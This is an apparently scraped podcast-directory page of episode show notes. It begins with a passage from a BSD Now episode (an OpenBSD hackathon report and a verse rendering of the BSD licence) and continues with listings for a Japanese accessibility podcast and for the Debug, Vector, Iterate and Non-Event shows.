sprinkled a couple of M_WAITOK into amd64 and i386 mpbios to document that there is really no need to check for NULL being returned from some malloc() calls. I continued to help test the new filesystem quiescing logic that deraadt@ committed during the hackathon. I only locked myself out of my room once! Fueled by the excellent coffee from local institutions The Good Earth Cafe and The Good Oil Cafe, and the excellent hacking facilities and accommodations at the University of Otago it was another enjoyable and productive hackathon south of the equator. And I even saw penguins. Thanks to Jim Cheetham and the support from the project and the OpenBSD Foundation that made it all possible ``` Poetic License I found this when going through old documents. It looks like I wrote it and never posted it. Perhaps I didn’t consider it finished at the time. But looking at it now, I think it’s good enough to share. It’s a redrafting of the BSD licence, in poetic form. Maybe I had plans to do other licences one day; I can’t remember. I’ve interleaved it with the original license text so you can see how true, or otherwise, I’ve been to it. Enjoy :-) ``` Copyright (c) , All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: ``` You may redistribute and use – as source or binary, as you choose, and with some changes or without – this software; let there be no doubt. But you must meet conditions three, if in compliance you wish to be. 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. The first is obvious, of course – To keep this text within the source. The second is for binaries Place in the docs a copy, please. A moral lesson from this ode – Don’t strip the copyright on code. The third applies when you promote: You must not take, from us who wrote, our names and make it seem as true we like or love your version too. (Unless, of course, you contact us And get our written assensus.) THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. One final point to be laid out (You must forgive my need to shout): THERE IS NO WARRANTY FOR THIS WHATEVER THING MAY GO AMISS. EXPRESS, IMPLIED, IT’S ALL THE SAME – RESPONSIBILITY DISCLAIMED. WE ARE NOT LIABLE FOR LOSS NO MATTER HOW INCURRED THE COST THE TYPE OR STYLE OF DAMAGE DONE WHATE’ER THE LEGAL THEORY SPUN. THIS STILL REMAINS AS TRUE IF YOU INFORM US WHAT YOU PLAN TO DO. When all is told, we sum up thus – Do what you like, just don’t sue us. Beastie Bits AsiaBSDCon 2018 Videos The January/February 2018 FreeBSD Journal is Here Announcing the pkgsrc-2017Q4 release (2018-01-04) BSD Hamburg Event ZFS User conference Unreal Engine 4 Being Brought Natively To FreeBSD By Independent Developer Tarsnap ad Feedback/Questions Philippe - I heart FreeBSD and other questions Cyrus - BSD Now is excellent Architect - Combined Feedback Dale - ZFS on Linux moving to ZFS on FreeBSD Tommi - New BUG in Finland Send questions, comments, show ideas/topics, or stories you want mentioned on the show to feedback@bsdnow.tv

AccSell -- Accessibility Central
第120回: 「ユーザーファーストっていうかスクリーン・リーダー ファースト的」

AccSell -- Accessibility Central

Play Episode Listen Later Jul 19, 2017 55:25


今回はヤフー株式会社の中野 信さんと鈴木 宏一さんをゲストにお迎えして、先に行われた東京都議会議員選挙に際せして開設された特設サイト「聞こえる選挙」のお話を中心に、Yahoo! JAPANにおけるアクセシビリティーの取り組みなどについてうかがっています。 写真:収録風景。左からゲストの鈴木さん、中野さん、中根、植木、いずいず。いずいずの横のパソコンには「Yahoo!の東京都議選特設サイト」を表示されていて植木が指差し。みんないい笑顔だなぁ。 オープニング・トーク 旅行中にスマホが壊れたというizuizuからの今回のお題は、「石ノ森章太郎作品に関するエピソード」です。 中野 信さんと鈴木 宏一さんを交えて 今回のゲストは、ヤフー株式会社の中野 信さんと鈴木 宏一さんです。 まず、先の東京都議会議員選挙に合わせて開設された特設サイト「聞こえる選挙」について、開設の経緯などについてうかがっています。そして、同サイトに掲載されたテキスト版の選挙公報作成、公職選挙法との関係、サイト製作の裏側など、いろいろな疑問に答えていただいています。 つづいて、Yahoo! JAPANにおけるアクセシビリティーの取り組みについてもお話しいただいています。 イベント情報 以下、ポッドキャストの最後に鈴木さんからご紹介いただいているトーク・イベントに関して、鈴木さんからいただいた情報です。 未来に残す 戦争の記憶 ~手紙から読み解く戦時中のコミュニケーションについて~ <開催日時> 2017年8月1日(火)18:00~19:30 (受付:17:30~) <開催場所> ヤフー株式会社 LODGE(17階) 内容 ◆映画「海辺の生と死」に見る戦時中のコミュニケーション 脚本・監督:越川 道夫 氏 7月29日(土)公開の「海辺の生と死」(主演:満島ひかり 原作:島尾ミホ、島尾敏雄)の越川監督を迎え、映画制作秘話を通して、戦時中のコミュニケーションについて語っていただきます。 ◆戦時中のコミュニケーションについて 元専修大学教授:新井 勝紘 氏 戦地と内地をつなぐ「軍事郵便」の解読や現地調査を行っている新井勝紘氏を迎え、「軍事郵便とは?」「どういう仕組みで送られていたか?」など、“命の便り”と言われている軍事郵便をわかりやすく語っていただきます。 <連絡先> 当日ご来場を希望される方は、事前に以下のアドレスまでメールをください。 くわしい入館方法などご連絡します。 kousuzuk@yahoo-corp.jp 今回のゲスト 中野 信 (なかの まこと) さん ヤフー株式会社 マーケティングソリューションズカンパニー デザイン戦略室 第5代/第6代黒帯(アクセシビリティ) HCD-Net認定 人間中心設計専門家 自社の広告管理ツールや広告のUIデザインを担当。 並行して、サービスのアクセシビリティを高めるための啓発活動や普及活動を日々行っている。 2015年からヤフー社内の技術認定制度「黒帯制度」でアクセシビリティの黒帯を拝命。より積極的に社内外で活動中。 鈴木 宏一 (すずき こういち) さん ヤフー株式会社 マーケティング&コミュニケーション本部 クリエイティブ推進部 コミュニケーションデザイン ヤフーのブランディング向上を目的とした施策、全社横断特集の企画担当。 戦後特集「未来に残す 戦争の記憶」、コマース施策「いい買物の日」などを担当。 収録後記 ポッドキャストの中でもお話ししましたが、選挙公報の問題は僕たち視覚障害者にとっては結構大きな問題です。とはいえ、選挙管理委員会がWebに掲載する選挙公報については、国全体で公職選挙法の運用を変えるか、あるいは法律そのものを変えなければどうにもならないというのが現状です。そんな中での今回の「聞こえる選挙」は画期的な取り組みだったと感じています。今回の取り組みがこの問題に対するより拾い認知につながり、今後良い方向に状況を変えていくきっかけになるのではないかと期待しています。 (中根 雅文) メールマガジンに続いて、ポッドキャストでも「聞こえる選挙」をご紹介しました。こういった意義のある取り組みを、ヤフーさんのような知名度や影響力のある企業さんが実践したことに感銘を受けました。その中心人物であるお二人から後日談も含めて、いろいろなお話を聞くことができました。これが今回限りとならず、点が線になって、最後は社会を動かすことにつながっていくといいなと思います! (植木 真) 鈴木さんと中野さん、お二人ともステキだったなぁ・・・。ヤフーだからできることっていろいろあるんだろうなぁ。Yahoo!すごいヤフーすごいやふー!!またお話を伺いたいです! (山本 和泉)

Debug
57: Extensibility roundtable

Debug

Play Episode Listen Later Nov 26, 2014 117:24


James Thomson of PCalc, Ashley Nelson-Hornstein of Dropbox, Bryan Irace of Tumblr, and Brad Ellis Pacific Helm join Guy and Rene to talk about Extensibility, its benefits and limitations, and the just-announced WatchKit. Show notes App Extensions Making Dropbox for iOS more accessible Building Quality Code That Lasts: A Dropbox Story What we learned building the Tumblr iOS share extension Calculator widgets will be allowed in Today view Extensibility in iOS 8: Explained WatchKit What you need to know about WatchKit Panel Brad Ellis of Pacific Helm Bryan Irace of Tumblr Ashley Nelson-Hornstein of Dropbox James Thomson of PCalc Guy English of Kicking Bear Rene Ritchie of Mobile Nations Feedback Question, comment, recommendation, or something you want us to follow up on for the next show? Email us at debug@mobilenations.com, hit us up on Twitter, or leave a comment below.

Vector
58: Not a watch person, with Ryan Nielsen

Vector

Play Episode Listen Later Sep 18, 2014 88:56


Follow up on the Apple Watch and Apple Pay announcements. What we got right and wrong, and whether we'll be getting watches, which watches, and trusting mobile payments. Also, what fashion and commerce mean for Apple as a company, the fallout from free U2 albums, and stunned reactions to what happened at Macworld and IDG. With Dave Wiskus, Georgia Dow, Rene Ritchie, and guest Ryan Nielsen, formerly of OS X at Apple, now of Tumult and Hype. Support Vector: Visit GoToAssist.com and use promo code ‘GoToAssist3030' to receive 30% off the standard monthly rate. Visit varidesk.com and tell them Vector sent you. Visit DroboStore.com and use promo code vector50 to save $50 off your next Drobo. Show notes Apple Watch A Watch Guy's Thoughts On The Apple Watch After Seeing It In The Metal Apple Pay Apple, U2, and looking a gift horse in the mouth Apple's free U2 album is an exercise in tone-deaf music spam A Personal Announcement Letter of recommendation Panel Georgia Dow of Isometric Ryan Nielsen of Tumult Dave Wiskus of Better Elevation Rene Ritchie of Mobile Nations Feedback Question, comment, recommendation, or something you want us to follow up on for the next show? Email vector@mobilenations.com or leave a comment below.

Vector
57: By the time you hear this, with Nick Arnott

Vector

Play Episode Listen Later Sep 14, 2014 65:00


Follow up on iCloud and security, hacking accounts, increasing your personal security, stolen nudity vs. gender-based censorship, mobile payments and trust issues. With Georgia Dow, Dave Wiksus, Rene Ritchie, and guest Nick Arnott. (Recorded before the Apple Event.) Show notes Every Man Is Responsible For His Own Soul How I Hacked My Own iCloud Account, for Just $200 Tim Cook Says Apple to Add Security Alerts for iCloud Users iCloud security and personal responsibility The future of personal security Apparently it's okay to post naked photos to Facebook, as long as you're not a woman Wearables, Payments, Chickens, and Eggs An Ancient Love Story: Apple & Payment Systems Standard Markdown is now common Markdown Panel Georgia Dow of Isometric Dave Wiskus of Better Elevation Rene Ritchie of Mobile Nations Nick Arnott of Neglected Potential Feedback Question, comment, recommendation, or something you want us to follow up on for the next show? Email vector@mobilenations.com or leave a comment below.

Debug
51: Jim Ray on the Web and BBQ

Debug

Play Episode Listen Later Aug 27, 2014 137:40


Jim Ray joins Guy and Rene to talk about his actually joby job and ends up talking about everything from the web, to San Francisco culture, to the importance of barbecue. Support Debug: Go to hired.com/debugpodcast to get a double bonus when you accept a job. Go to lynda.com/debug for a free 7 day trial. Go to www.drobostore.com and use offer code debug50 to save $50 on your next Drobo. Guests Jim Ray Hosts Guy English of Kicking Bear Rene Ritchie of Mobile Nations Feedback Question, comment, recommendation, or something you want us to follow up on for the next show? Email us at debug@mobilenations.com or leave a comment below.

Vector
55: Turtles all the way down, with Ben Thompson

Vector

Play Episode Listen Later Aug 26, 2014 112:37


Apple university and the state of management training, Microsoft's stack ranking and how it affected the company, Samsung and Xiaomi and the idea of legal vs. ethical vs. smart copying, the success and failures of innovation vs. imitation for companies and the economy, app design copying and what it means for designers, John Gruber's iPhone 6 math and the importance of touch target size, and native advertising in the context of podcast and RSS sponsorships. With Georgia Dow, Guy English, Dave Wiskus, Rene Ritchie, and special guest Ben Thompson. Show notes Debug 40: Nitin Ganatra episode II: OS X to iOS Scriptnotes 157: Threshers, Mergers and the Top Two Boxes Xiaomi Mi4 review: China's iPhone killer is unoriginal but amazing Where's the Samsung shaped dent in the universe? Conjecture Regarding Larger iPhone Displays Is Buzzfeed a tech company? Panel Ben Thompson of Stratechery Georgia Dow of Isometric Guy English of Kickingbear Dave Wiskus of Better Elevation Rene Ritchie of Mobile Nations Feedback Question, comment, recommendation, or something you want us to follow up on for the next show? Email vector@mobilenations.com or leave a comment below.

Debug
50: Brianna Wu, Amanda Warner, and Revolution 60

Debug

Play Episode Listen Later Aug 14, 2014 96:47


Brianna Wu and Amanda Warner of Giant Spacekat join Guy and Rene to talk about their new Unreal Engine-based iOS game, Revolution 60. From creating their company to modeling their characters to dealing with game dev culture, this one is crackalacking! Support Debug: Go to hired.com/debugpodcast to get a double bonus when you accept a job offer. Go to igloosoftware.com/debug to try Igloo for free. Go to lynda.com/debug to try lynda.com free for 7 days Show notes Revolution 60 Unreal Engine Iterate 45: Briana Wu, Amanda Warner of Revolution 60 Guests Brianna Wu Amanda Warner Hosts Guy English of Kicking Bear Rene Ritchie of Mobile Nations Feedback Question, comment, recommendation, or something you want us to follow up on for the next show? Email us at debug@mobilenations.com or leave a comment below.

Vector
53: Regeneration with Guy, Georgia, and Dave

Vector

Play Episode Listen Later Aug 12, 2014 71:40


Rene is joined by Georgia Dow, Guy English, and Dave Wiskus, to announce the end of the current season of Vector and the launch of the next. Also: Google scanning email for child porn, tinkering to learn, Apple University, fear and reinvention, yelling on Twitter. Support Vector: Go to www.drobostore.com and use offer code Vector50 to save $50 on any Drobo. Show notes Google scans everyone's email for child porn, and it just got a man arrested Tinkering Mantia on Tinkering Simplifying the Bull: How Picasso Helps to Teach Apple's Style Better Elevation video podcast Regeneration) The TV Show 9: Boiling my Doctor Who Frog (Why Guy is angry, so very angry). Panel Georgia Dow of ZEN & TECH Guy English of Kickingbear Dave Wiskus of Better Elevation Rene Ritchie of Mobile Nations Feedback Question, comment, recommendation, or something you want us to follow up on for the next show? Email vector@mobilenations.com or leave a comment below.

Debug
43: Simmons, Wiskus, Gruber and Vesper Sync

Debug

Play Episode Listen Later May 27, 2014 104:44


Brent Simmons, Dave Wiskus, and John Gruber join Guy and Rene to talk about Vesper 2.0, architecting sync, the decision making process, design choices, and why Vesper for Mac comes next. Show notes Vesper 2.0 and Vesper Sync Vesper Sync Diary Follow-up iOS 7 Human Interface Guideline Debug 15: Simmons, Wiskus, Gruber, and Vesper Guests Brent Simmons of inessential Dave Wiskus of Better Elevation John Gruber of Daring Fireball Hosts Guy English of Kicking Bear Rene Ritchie of Mobile Nations Feedback Question, comment, recommendation, or something you want us to follow up on for the next show? Email us at debug@mobilenations.com or yell at us on Twitter.

Iterate
21: Loren Brichter of Atebits

Iterate

Play Episode Listen Later May 13, 2012 64:46


Marc, Seth, and Rene iterate through Google's Project Glass, upgrade pricing, and Instagram's sale to Facebook, and interrogate Tweetie creator Loren Brichter of Atebits. This is Iterate! iPad windowing and iOS keyboard concept BlackBerry 10 Dev Rocket Sketch 2 Daniel Cooper tested Sketch 2 and found some fairly significant rendering issues Illustrator rendering issues when working on screen art (web and apps)? Keith Lang tested Fireworks and found an issue with inner shadow. Marc added Photoshop to the test What can you do in one layer in Photoshop? 1 Layer Chainsaw by Marc 1 Layer Portal Gun by Jared Sinclair 1 Layer iMac by Daniel Cooper 1 Layer Mona Lisa by Marc 1 Layer Burger by Matt Kelsh Adobe CS6 Loren Brichter of Atebits Hosts Marc Edwards (@marcedwards) of Bjango Seth Clifford (@sethclifford) of Nickelfish Rene Ritchie (@reneritchie) of iMore.com Feedback Email: podcast@iterate.tv Twitter: @iteratetv Facebook: Iterate page If you're one of the best-of-the-best-of-the-best in mobile design for Android, BlackBerry, iOS, webOS, or Windows Phone, we'd love to get you on the show, or if you've found a drop-dead gorgeous app on any platform and really want us to talk about it, contact us and let us know.

Iterate
20: Nickelfish

Iterate

Play Episode Listen Later Apr 23, 2012 92:27


Marc, Seth, and Rene iterate through Google's Project Glass, upgrade pricing, and Instagram's sale to Facebook, and interrogate Justin Marcucci and Tammy Coron of Nickelfish. This is Iterate! Google's Project Glass Microsoft Design case study: iPad to Windows 8 Metro style app The Mac App Store Needs Paid Upgrades Why Facebook bought Instagram Justin Marcucci of Nickelfish Tammy Coron of Nickelfish Hosts Marc Edwards (@marcedwards) of Bjango Seth Clifford (@sethclifford) of Nickelfish Rene Ritchie (@reneritchie) of iMore.com Feedback Email: podcast@iterate.tv Twitter: @iteratetv Facebook: Iterate page If you're one of the best-of-the-best-of-the-best in mobile design for Android, BlackBerry, iOS, webOS, or Windows Phone, we'd love to get you on the show, or if you've found a drop-dead gorgeous app on any platform and really want us to talk about it, contact us and let us know.

Iterate
11: Campaign Monitor

Iterate

Play Episode Listen Later Nov 25, 2011 65:09


Marc, Seth, and Rene iterate through Nest and the future of consumer electronic design, photos under glass, Google search as an app, kicking users to the Facebook curb, and interrogate Jessie Dodds of Campaign Monitor. This is Iterate! Nest A brief Rant on the Future of Interactive Design “Pictures Under Glass” is Revolutionary, Not Transitional Creating the Future Google Search app for iPad updated What the heck is wrong with Netflix? Jesse Dodds of Campaign Monitor Photoshop Actions Hosts Marc Edwards (@marcedwards) of Bjango Seth Clifford (@sethclifford) of Nickelfish Rene Ritchie (@reneritchie) of TiPb.com Feedback Email: podcast@iterate.tv Twitter: @iteratetv Facebook: Iterate page If you're one of the best-of-the-best-of-the-best in mobile design for Android, BlackBerry, iOS, webOS, or Windows Phone, we'd love to get you on the show, or if you've found a drop-dead gorgeous app on any platform and really want us to talk about it, contact us and let us know.

Non-Event Podcasts
Raster-Noton R.P.M.

Non-Event Podcasts

Play Episode Listen Later Jun 22, 2007


Raster-Noton R.P.M. Podcast Byetone, “Fremd” Feld (Bine Music) Frank Bretschneider, “All Summer In a Day” Rhythm (Raster-Noton) Senking, “Crevasse” List (Raster-Noton) Questions about this or any other Non-Event podcast? Email susanna@rarefrequency.com....

Non-Event Podcasts
Signal Quintet and EKG

Non-Event Podcasts

Play Episode Listen Later May 10, 2007


Signal Quintet & EKG Podcast Signal Quintet w/Ralph Steinbruchel, “Timelines (excerpt)” Timelines (Cut) EKG, “Years” No Sign (Sedimental) Questions about this or any other Non-Event podcast? Email susanna@rarefrequency.com....

Non-Event Podcasts
Laetitia Sonami and Joel Ryan

Non-Event Podcasts

Play Episode Listen Later Apr 17, 2007


Sonami and Ryan Podcast Laetitia Sonami, “The invention of Perspective (the Appearance of Silence)” (unreleased) Joel Ryan and Joelle Leandre, “Enfolded Strings” (unreleased) Questions about this or any other Non-Event podcast? Email susanna@rarefrequency.com....